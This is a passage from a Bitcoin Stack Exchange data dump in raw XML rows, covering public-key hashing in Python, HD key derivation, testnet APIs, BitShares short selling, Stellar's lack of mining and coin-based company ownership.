LastActivityDate="2019-06-13T13:57:07.073" Title="ripemd160(sha256(publickey)) - Where am I going wrong?" Tags="|public-key|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37041" PostTypeId="2" ParentId="37040" CreationDate="2015-04-22T13:05:41.003" Score="0" Body="&lt;p&gt;The hex string should be transaformed to bytes first.&lt;br&gt;&#xA;Change the string to &lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;b'02218AD6CDC632E7AE7D04472374311CEBBBBF0AB540D2D08C3400BB844C654231'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you should get the expected result~ &lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a relevant post&#xA;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/36802/about-performing-sha-256-hashing-on-the-public-key&quot;&gt;About performing SHA-256 hashing on the public key&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24601" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2015-04-22T13:05:41.003" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37042" PostTypeId="2" ParentId="37040" CreationDate="2015-04-22T14:01:05.940" Score="6" Body="&lt;p&gt;moshaholo has the right answer, but not quite the right code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; publickey = '02218AD6CDC632E7AE7D04472374311CEBBBBF0AB540D2D08C3400BB844C654231'.decode('hex')&#xA;&amp;gt;&amp;gt;&amp;gt; s = hashlib.new('sha256',    publickey).digest()&#xA;&amp;gt;&amp;gt;&amp;gt; r = hashlib.new('ripemd160', s        ).digest()&#xA;&amp;gt;&amp;gt;&amp;gt; s.encode('hex')&#xA;'ea571f53cb3a9865d3dc74735e0c16643d319c6ad81e199b9c8408cecbcec7bb'&#xA;&amp;gt;&amp;gt;&amp;gt; r.encode('hex')&#xA;'5238c71458e464d9ff90299abca4a1d7b9cb76ab'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice that &lt;code&gt;publickey&lt;/code&gt;, &lt;code&gt;s&lt;/code&gt;, and &lt;code&gt;r&lt;/code&gt; are all binary byte strings (because &lt;code&gt;.digest()&lt;/code&gt; is being used instead of &lt;code&gt;.hexdigest()&lt;/code&gt;). The only reason to convert them to hex-encoded strings is for display purposes. You can display them directly if you like, but it's not pretty....&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; publickey&#xA;'\x02!\x8a\xd6\xcd\xc62\xe7\xae}\x04G#t1\x1c\xeb\xbb\xbf\n\xb5@\xd2\xd0\x8c4\x00\xbb\x84LeB1'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25088" LastEditorUserId="25088" LastEditDate="2015-04-22T15:01:01.050" LastActivityDate="2015-04-22T15:01:01.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37043" PostTypeId="1" AcceptedAnswerId="37613" CreationDate="2015-04-22T15:16:19.550" Score="2" ViewCount="1624" Body="&lt;p&gt;Does anyone know if Bitcore offer a &lt;code&gt;testnet&lt;/code&gt; API to play around with?&lt;/p&gt;&#xA;&lt;p&gt;I'm implementing an Escrow system using the API and &lt;code&gt;Node.js&lt;/code&gt;&#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="18969" LastEditorUserId="18969" LastEditDate="2021-05-25T10:21:32.983" LastActivityDate="2021-05-25T10:21:32.983" Title="Bitcore Testnet API" Tags="|api|testnet|bitcore|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="37045" PostTypeId="1" CreationDate="2015-04-22T16:56:52.947" Score="0" ViewCount="611" Body="&lt;p&gt;I am wondering - is there a service similar to &lt;a href=&quot;http://coincreator.net/&quot; rel=&quot;nofollow&quot;&gt;CoinCreator&lt;/a&gt; that allows one to generate altcoins with built-in support for merged mining?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2015-07-30T17:46:17.397" Title="Is there an altcoin generator with merged-mining support?" Tags="|altcoin|services|altcoin-development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37046" PostTypeId="2" ParentId="37038" CreationDate="2015-04-22T17:15:38.163" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Am I using hardened private derivation function?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No. You're using nonhardened derivation. That's the only kind of derivation that you can use when you only have the public key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hardened derivation looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BitcoinAddress address = privateKey.Derive(orderID, true).Key.PubKey.GetAddress(Network.Main);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It requires the private key. It also doesn't matter if the parent is hardened or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommend using nonhardened keys for most applications.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-04-22T17:15:38.163" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37048" PostTypeId="2" ParentId="37043" CreationDate="2015-04-22T18:11:51.390" Score="-1" Body="&lt;p&gt;Close &lt;code&gt;bitcoind&lt;/code&gt; and then start bitcoind in a terminal or bash shell like so:&#xA;&lt;code&gt;&quot;bitcoind -testnet&quot;&lt;/code&gt; Using that should cause bitcoin to use a test network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although on windows you might need to find the bitcoind.exe and execute that if the command bitcoind is not added to the system path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This information was retrieved from bitcoin's core using &lt;code&gt;&quot;bitcoind -help&quot;&lt;/code&gt; and a quote from it says &lt;code&gt;&quot;-testnet   Use the test network&quot;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="25105" LastActivityDate="2015-04-22T18:11:51.390" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37049" PostTypeId="2" ParentId="19785" CreationDate="2015-04-22T18:21:44.180" Score="1" Body="&lt;p&gt;Yes, &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0039.mediawiki&quot; rel=&quot;nofollow&quot;&gt;BIP39&lt;/a&gt; is one such way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Electrum has a different, mutually incompatible way.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-04-22T18:21:44.180" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37050" PostTypeId="2" ParentId="36972" CreationDate="2015-04-22T18:56:27.010" Score="0" Body="&lt;p&gt;Seems like there is a live working solution already using the NXT protocol. They seem to have implemented the ability to upload files into the blockchain, but max file size is 42kb it seems. Also seems like they are addressing the blockchain bloat via pruning the data every 2 weeks, but some nodes can turn off this feature and keep the data indefinitely and charge a fee for old data retrieval.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://nxtforum.org/nrs-releases/nrs-v1-5-3e/&quot; rel=&quot;nofollow&quot;&gt;https://nxtforum.org/nrs-releases/nrs-v1-5-3e/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This update adds the Prunable Tagged Data feature, planned to be&#xA;  enabled at the voting system block too.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Prunable tagged data are similar to prunable plain messages with no&#xA;  recipient, but with additional searchable metadata fields added. This&#xA;  feature can be used for decentralized and trustless distribution of&#xA;  small (up to 42k, including the metadata) pieces of data, which are by&#xA;  default stored for two weeks only (24h on testnet), but can optionally&#xA;  be stored longer or indefinitely by some nodes, and can be verified&#xA;  against the blockchain even after their expiration.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Currently each tagged data can have the following fields, in addition&#xA;  to the data itself: name (required), description, tags, type, isText,&#xA;  filename.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Name, description and tags are indexed and searchable using Lucene.&#xA;  All data and metadata is prunable, after pruning only a single 32 byte&#xA;  hash remains.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Fee for either uploading or extending tagged data is based on the&#xA;  total data size (including metadata), and is 1 NXT for up to 1k bytes,&#xA;  0.1 NXT for each 1k above, up to the limit of 42k.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2015-04-22T18:56:27.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37051" PostTypeId="2" ParentId="22641" CreationDate="2015-04-22T20:12:33.023" Score="1" Body="&lt;p&gt;Kraken just sent an update for MtGox funds claim. Log in here - &lt;a href=&quot;https://claims.mtgox.com/assets/index.html#/&quot; rel=&quot;nofollow&quot;&gt;https://claims.mtgox.com/assets/index.html#/&lt;/a&gt; . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thou I have to admit I have problems logging in.&lt;/p&gt;&#xA;" OwnerUserId="23083" LastActivityDate="2015-04-22T20:12:33.023" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37053" PostTypeId="2" ParentId="37032" CreationDate="2015-04-23T06:36:32.543" Score="1" Body="&lt;p&gt;Abstractly spoken, what you have in the current BitAsset 1.0 implementation is that in the market two parties meet that have different estimations for the future price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's define &lt;strong&gt;the price&lt;/strong&gt; to be the price of a bitAsset (i.e. bitUSD) denominated in BTS (base base currency in the BitShares network). For example &lt;code&gt;0.1 BTS per bitUSD&lt;/code&gt;. We need to clarify this here, because every market in BitShares can also be flipped, i.e. we can trade &lt;code&gt;BTS:USD&lt;/code&gt; or &lt;code&gt;USD:BTS&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Going Short&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Let's say &lt;em&gt;Mark&lt;/em&gt; thinks the price (i.e. &lt;code&gt;0.1BTS per bitUSD&lt;/code&gt;) will go up in the future while &lt;em&gt;Nanny&lt;/em&gt; expects the price to drop soon. Nanny wants to a bet for this and goes &lt;em&gt;short&lt;/em&gt; on bitUSD. &lt;em&gt;Going short&lt;/em&gt; on a bitAssets means, that you lend it from the network (i.e. the network creates them for you) and sell it to a buyer (here, Mark). &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;The collateral&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In order to go short, you need to lock up some of your funds (here BitShares) as collateral, you can see this pretty much as a security that you will be able to give back your lent bitUSD eventually. The total collateral is 200% the amount your short payed by both parties of the trade. This means that:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In order to short 1 bitUSD, the amount of BTS worth 2 USD has to be locked up.&lt;/li&gt;&#xA;&lt;li&gt;The shorter pays half of the collateral and the buys pays half.&lt;/li&gt;&#xA;&lt;li&gt;If you want to short-sell 1 bitUSD you will have to lock away 1 USD worth of BTS and will not get anything from the trade.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Price movment&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If the price (say to 0.09BTS per bitUSD) goes &lt;strong&gt;down&lt;/strong&gt; then the market moved according to Nanny expectations and she should make a profit from the prediction. How is this achieve? As a short-seller, she has to give back the lent bitUSD eventually, so she can decide to do this at a price of &lt;code&gt;0.09 BTS/USD&lt;/code&gt;. This means she needs to buy bitUSD cheaper from the market than she sold it earlier in the short-sell. With the bought bitUSD, she can close her short order (i.e. cover) and give back the lent USD which will free up the collateral, which, considering that she had to buy bitUSD with BTS, should leave her a profit of 10%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if the price goes &lt;strong&gt;up&lt;/strong&gt; she can do one out of three things:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Wait for the 30 day short limits to arrive. The Network will put a buy order for bitUSD and close here order automatically giving her what is left from the collateral&lt;/li&gt;&#xA;&lt;li&gt;Wait for the price to go up even further and risk a &lt;em&gt;margin call&lt;/em&gt;. This will be triggered from the network if the collateral is only 150% (in contrast to the 200%). The network will force (i.e. it does this automatically) you to buy up bitUSD on the market and close the order.&lt;/li&gt;&#xA;&lt;li&gt;The short seller can decide to cover on her own buy buying up bitUSD and closing the order herself.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All of these options will make the short-seller a loss as the prediction was wrong.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Market Peg&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In the end, the market peg is achieved by a &lt;em&gt;social consensus&lt;/em&gt; in such that 1 bitUSD should be worth 1 USD. Hence, trading against &lt;em&gt;the peg&lt;/em&gt; should make you lose money because someone else will make a profit from trading towards &lt;em&gt;the peg&lt;/em&gt;. Wouldn't you want to trade if someone offered you $1 for $90c?&lt;/p&gt;&#xA;" OwnerUserId="362" LastActivityDate="2015-04-23T06:36:32.543" CommentCount="1" CommunityOwnedDate="2015-04-23T06:36:32.543" ContentLicense="CC BY-SA 3.0" />
  <row Id="37054" PostTypeId="1" CreationDate="2015-04-23T10:07:36.067" Score="0" ViewCount="79" Body="&lt;p&gt;Bitcoin value gets fluctuating frequently. Suppose I am transfering bitcoin to another person who is in another country (like my current bitcoin value is $234.97), i am sending the QR code through e-mail to receive the money , if suppose the person sees my mail after 3 to 4 hrs , will the same bitcoin ($234.97)value be considered or the BTC value which is available when the person receive the money will be considered. Please clarify my doubt.&lt;/p&gt;&#xA;" OwnerUserId="25191" LastEditorUserId="2306" LastEditDate="2015-04-24T05:09:42.127" LastActivityDate="2015-04-24T05:09:42.127" Title="Can the dollar value of a transaction be different at different times?" Tags="|value|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37055" PostTypeId="1" CreationDate="2015-04-23T10:56:12.570" Score="1" ViewCount="220" Body="&lt;p&gt;We are starting a social enterprise that is focusing on home oriented products and services - starting with real estate brokerage services. The profits from this organization will be used to battle homelessness. &lt;a href=&quot;http://domogo.co/presskit&quot; rel=&quot;nofollow&quot;&gt;http://domogo.co/presskit&lt;/a&gt; &lt;em&gt;(note the press kit just happens to explain the detail discussed here, its not meant as a link towards self promotion.)&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of our goals is to either decentralize ownership or spread ownership far enough that a few owners or shareholders can't later hijack the organization's purpose once it is producing revenue. At the same time however, we must maintain management structure so that we can compete against standard brands. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our goal isn't decentralization in and of itself, our goal is to make the organization as trustworthy as possible and try to keep it as free from corruption as is possible. We would be pleased to be proven wrong but it seems at this stage  there isn't a safe way to fully decentralize, however, it also seems that there might be ways to achieve varying degrees of our basic goal. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We do branding, marketing and business development and are quite clueless when it comes to Bitcoin, however, from our research it seems it may be possible to create color coins that could be tied to physical shares of the company. We could then distribute those coins to micro impact investors or individuals who have some skill set to add towards a collective operations board. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We would then want to tie voting on the &quot;board&quot; to the holding of a coin. Just for discussion let's say we spread out 100,000 shares to 100,000 people which would mean 100,000 possible board votes. Obviously we would need some mechanism in place to force voting or one would lose their coin/share...or something that would achieve the same purpose. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there a way to limit total possible holdings of the coin/share to say 1. I.e. the wallet couldn't hold more than 1 coin with the purpose of an individual only being able to hold 1 share of stock. Basically, we wouldn't want any single individual to be able to buy up or trade their way towards board control. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is this too far fetched with current cryptocurrency technology or perhaps too cost prohibitive to create? (we don't have a massive budget) &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Does anyone have an alternative solution to the same basic premise? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;We are looking at more traditional solutions as well but feel this could be an interesting solutions that could effectively make ownership of a share as easy as downloading a wallet. This could be key as we would like for our beneficiaries to take on larger and larger control of the company as time went on. I.e. it needs to be just as easy for someone in rural India to own a share as for someone in London. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are open to ideas and are obviously not experts in the matter, we would just like to find the most economical and safe approach to ensuring a few owners or shareholders couldn't turn Domogo into a profit for profit's sake corporation with a side effect of making it easy for those without birth certificates or similar paperwork to have access to the board. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any Ideas? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its a small thing we know, but if you leave your twitter handle the we'll send out a &quot;thanks&quot; to each responder.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;@project_domogo is ours &lt;/p&gt;&#xA;" OwnerUserId="25192" LastEditorUserId="5406" LastEditDate="2016-01-23T10:18:19.253" LastActivityDate="2016-03-24T01:00:21.157" Title="Is There a Safe Way to Decentralize or Spread Ownership of a Company Using Bitcoin or Altcoins?" Tags="|alternatives|decentralization|decentralized-assets|ownership|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37056" PostTypeId="1" AcceptedAnswerId="37063" CreationDate="2015-04-23T13:08:07.510" Score="20" ViewCount="83296" Body="&lt;p&gt;I was able to mine Ripple for a time using boinc, will Stellar offer something like this? are there other ways to mine Stellar?&lt;/p&gt;&#xA;" OwnerUserId="3290" LastEditorUserId="5406" LastEditDate="2016-02-08T11:16:44.967" LastActivityDate="2018-01-17T00:31:12.230" Title="How does one mine Stellar" Tags="|ripple|consensus|stellar|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="37057" PostTypeId="2" ParentId="37054" CreationDate="2015-04-23T13:33:08.237" Score="4" Body="&lt;p&gt;Amounts in a Bitcoin transaction are set in bitcoin. That is, if you want to receive $5, when the current bitcoin price is $234.97/bitcoin, then you might make a request for 0.0212 bitcoin inside the QR code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the price changes between you making the request and the other person sending bitcoin, then you will still receive 0.0212 bitcoin, but it might be worth $4.50 or $5.50, depending on if the price went up or down. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you wanted the other person to send you $5 worth of bitcoin at the time that &lt;em&gt;they&lt;/em&gt; send it, you could just send the address you want to receive with and a note saying &quot;Please send $5 worth of bitcoin&quot;. The other person would have to calculate the current price (and you would have to trust their evaluation, but they can send whatever amount they want).&lt;/p&gt;&#xA;" OwnerUserId="18227" LastActivityDate="2015-04-23T13:33:08.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37059" PostTypeId="2" ParentId="36668" CreationDate="2015-04-23T21:53:28.173" Score="0" Body="&lt;p&gt;Just to add, there's been an update to the POS protocol that many coins are adopting: &lt;a href=&quot;http://blackcoin.co/blackcoin-pos-protocol-v2-whitepaper.pdf&quot; rel=&quot;nofollow&quot;&gt;http://blackcoin.co/blackcoin-pos-protocol-v2-whitepaper.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;v3 in the works&lt;/p&gt;&#xA;" OwnerUserId="25195" LastActivityDate="2015-04-23T21:53:28.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37060" PostTypeId="1" AcceptedAnswerId="37070" CreationDate="2015-04-23T23:02:52.723" Score="5" ViewCount="606" Body="&lt;p&gt;After the MtGox incident, a lot of Bitcoin exchanges started pursuing &lt;a href=&quot;http://www.coindesk.com/exchanges-must-still-prove-themselves-customers/&quot;&gt;audits and creating a proof of solvency / liability&lt;/a&gt; to prove to their users they remain solvent. While proving that one owns the required amount of coins is fairly easy, I am wondering - has anyone created a generally acceptable protocol for proving how much an exchange owes its customers based on the account balances in their database without revealing users' private information?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2016-02-17T23:03:27.807" Title="Is there a generally agreed on protocol for creating proof of solvency?" Tags="|exchanges|proof-of-solvency|audits|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37063" PostTypeId="2" ParentId="37056" CreationDate="2015-04-24T06:07:26.510" Score="23" Body="&lt;p&gt;The Stellar network does not have a mining-based currency. At the network's genesis, &lt;a href=&quot;https://www.stellar.org/about/mandate/#Stellar_distribution&quot; rel=&quot;noreferrer&quot;&gt;100 billion stellars&lt;/a&gt; were created. The only other stellar creation mechanism is &lt;a href=&quot;https://www.stellar.org/about/mandate/#Stellar_creation&quot; rel=&quot;noreferrer&quot;&gt;inflation&lt;/a&gt;. To account for both economic growth and lost stellars, there is a fixed 1% annual rate of new stellar creation. These new stellars will be generated on a weekly basis and distributed via a direct voting method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.org/en/how-it-works&quot; rel=&quot;noreferrer&quot;&gt;Mining&lt;/a&gt; in the Bitcoin network:&#xA;1) creates the currency&#xA;2)distribute the currency&#xA;3) verifies transactions across a distributed, decentralized system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stellar achieves the first by generating the stellars at genesis. Distribution of stellars is regulated by the Stellar Development Foundation, the nonprofit that supports the protocol. 95% of all the stellars are set to be distributed to as many people worldwide as possible through a series of giveaways specified in their mandate. Stellar achieves the third—decentralized agreement—with the &lt;a href=&quot;https://ripple.com/files/ripple_consensus_whitepaper.pdf&quot; rel=&quot;noreferrer&quot;&gt;Ripple Consensus Algorithm&lt;/a&gt;.&#xA;In future, Stellar plans to switch to a new consensus algorithm called &lt;a href=&quot;http://www.wired.com/2015/04/stanford-prof-builds-algorithm-internet-money/&quot; rel=&quot;noreferrer&quot;&gt;Stellar Consensus Protocol&lt;/a&gt; (SCP). The technical details of SCP are detailed in a &lt;a href=&quot;https://www.stellar.org/papers/stellar-consensus-protocol.pdf&quot; rel=&quot;noreferrer&quot;&gt;white paper&lt;/a&gt; by Stanford Professor David Mazieres.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One can acquire stellars by trading on an exchange, trading within the Stellar network, being a recipient of inflation voting, and/or through the Foundation's giveaway programs.&lt;/p&gt;&#xA;" OwnerUserId="25073" LastEditorUserId="25073" LastEditDate="2015-04-27T22:07:48.290" LastActivityDate="2015-04-27T22:07:48.290" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37064" PostTypeId="5" CreationDate="2015-04-24T06:18:41.123" Score="0" Body="&lt;h2&gt;What questions belong here?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Questions about the Stellar network, SCP (Stellar Consensus Protocol), and Horizon (Stellar API server) all belong in this tag. Note that there is also a new &lt;a href=&quot;https://stellar.stackexchange.com/&quot;&gt;Stack Exchange site&lt;/a&gt; dedicated to questions about Stellar, but it's still in private beta.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Intro: what is Stellar?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Stellar is an open source platform for building financial products that connect people globally.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Links to learn more&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.stellar.org/developers/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Stellar developer portal&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.technologyreview.com/news/536641/a-new-competitor-for-bitcoin-aims-to-be-faster-and-safer/&quot; rel=&quot;nofollow noreferrer&quot;&gt;MIT Tech Review&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Stellar_(payment_network)&quot; rel=&quot;nofollow noreferrer&quot;&gt;Stellar Wikipedia&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.fastcompany.com/3041790/strong-female-lead/the-woman-changing-how-money-moves-around-the-world&quot; rel=&quot;nofollow noreferrer&quot;&gt;Social implications of Stellar: financial inclusion&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25073" LastEditorUserId="42185" LastEditDate="2018-01-18T02:01:34.810" LastActivityDate="2018-01-18T02:01:34.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37065" PostTypeId="4" CreationDate="2015-04-24T06:18:41.123" Score="0" Body="Questions about Stellar are off topic. Questions about Stellar belong at https://stellar.stackexchange.com/. Stellar is an open source protocol for value exchange. The Stellar protocol is supported by a nonprofit, Stellar.org, which aims to expand financial access and literacy worldwide. Stellar.org was founded in early 2014 by Jed McCaleb and Joyce Kim." OwnerUserId="25073" LastEditorUserId="48884" LastEditDate="2019-07-17T21:19:30.987" LastActivityDate="2019-07-17T21:19:30.987" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="37066" PostTypeId="1" AcceptedAnswerId="37068" CreationDate="2015-04-24T06:21:21.543" Score="1" ViewCount="353" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/samr7/vanitygen&quot; rel=&quot;nofollow&quot;&gt;Vanitygen&lt;/a&gt; refers to &quot;Sipa&quot; format &lt;a href=&quot;https://github.com/samr7/vanitygen/blob/master/README#L49&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Currently, it is difficult to import the private key into bitcoin.&lt;br&gt;&#xA;  &lt;strong&gt;Sipa's&lt;/strong&gt; showwallet branch has a new command called &quot;importprivkey&quot; that &#xA;  accepts the base-58 encoded private key.  Vanitygen has been tested to &#xA;  work with that version of bitcoin.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I remember this term being thrown around when I was relatively new to Bitcoin, probably around the same time as the Vanitygen quote was made. There's a conflicting references to &lt;em&gt;sipa&lt;/em&gt; format, it seems, for example, &lt;a href=&quot;https://multibit.org/en/help/v0.5/help_importASingleKey.html&quot; rel=&quot;nofollow&quot; title=&quot;Multibit&quot;&gt;Multibit&lt;/a&gt; uses &lt;em&gt;Sipa&lt;/em&gt; in place of &lt;em&gt;WIF&lt;/em&gt;, whereas the aforementioned quote makes no sense in that context. &lt;a href=&quot;https://bitcointalk.org/index.php?topic=515449.msg5694715#msg5694715&quot; rel=&quot;nofollow&quot;&gt;BitcoinTalk seems to suggest Sipa = Base58 WIF&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;What, exactly, does the term &lt;code&gt;Sipa&lt;/code&gt; refer to?&lt;/em&gt; (&lt;strong&gt;EDIT:&lt;/strong&gt; And where did the term come from?)&lt;/p&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="2306" LastEditDate="2015-04-24T07:45:19.520" LastActivityDate="2015-04-25T18:03:07.070" Title="&quot;Sipa&quot; definition? (old terminology, circa 2011-12)" Tags="|history|terminology|" AnswerCount="1" CommentCount="3" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37067" PostTypeId="2" ParentId="37055" CreationDate="2015-04-24T07:26:31.467" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Our goal isn't decentralization in and of itself, our goal is to make the organization as trustworthy as possible and try to keep it as free from corruption as is possible. We would be pleased to be proven wrong but it seems at this stage there isn't a safe way to fully decentralize, however, it also seems that there might be ways to achieve varying degrees of our basic goal.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is a good attitude to take - there are fully decentralized solutions, but they generally compromise either usability or flexibility.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Ethereum &lt;a href=&quot;https://www.youtube.com/watch?v=Q_gxDytSvuY&quot; rel=&quot;nofollow&quot;&gt;Decentralized Autonomous Organizations&lt;/a&gt; are extremely flexible - any corporate structure that can be expressed in code is possible, and the actions of it will be checked and recorded by all Ethereum nodes. This feature isn't very mature, so if you don't know Python already, I wouldn't recommend it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;On the other side of the flexibility/usability coin, Bitcoin multisignature wallets allow several people to manage funds, which will only be spent if enough of them agree on how to use it. This is less flexible, but there are multiple implementations that are pretty good.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There are partially-centralized systems that are still highly transparent. For example, you could keep a public record of who has voting privileges, and use a widely respected voting platform like &lt;a href=&quot;https://vote.heliosvoting.org/&quot; rel=&quot;nofollow&quot;&gt;Helios Voting&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there a way to limit total possible holdings of the coin/share to say 1. i.e. the wallet couldn't hold more than 1 coin with the purpose of an individual only being able to hold 1 share of stock. Basically, we wouldn't want any single individual to be able to buy up or trade their way towards board control.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's challenging, because in most cryptocurrencies addresses are designed to be as cheap to create as possible. So, if you manage to restrict people to only have one share per address, then they could just spread them over many addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't think of any perfect solutions to this, but you could partially combat it by requiring voters to provide some sort of information about themselves. Then, if someone provides information that appears to be fake, you could remove them from the vote.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're going the DAO route, you could select someone to have the ability to remove 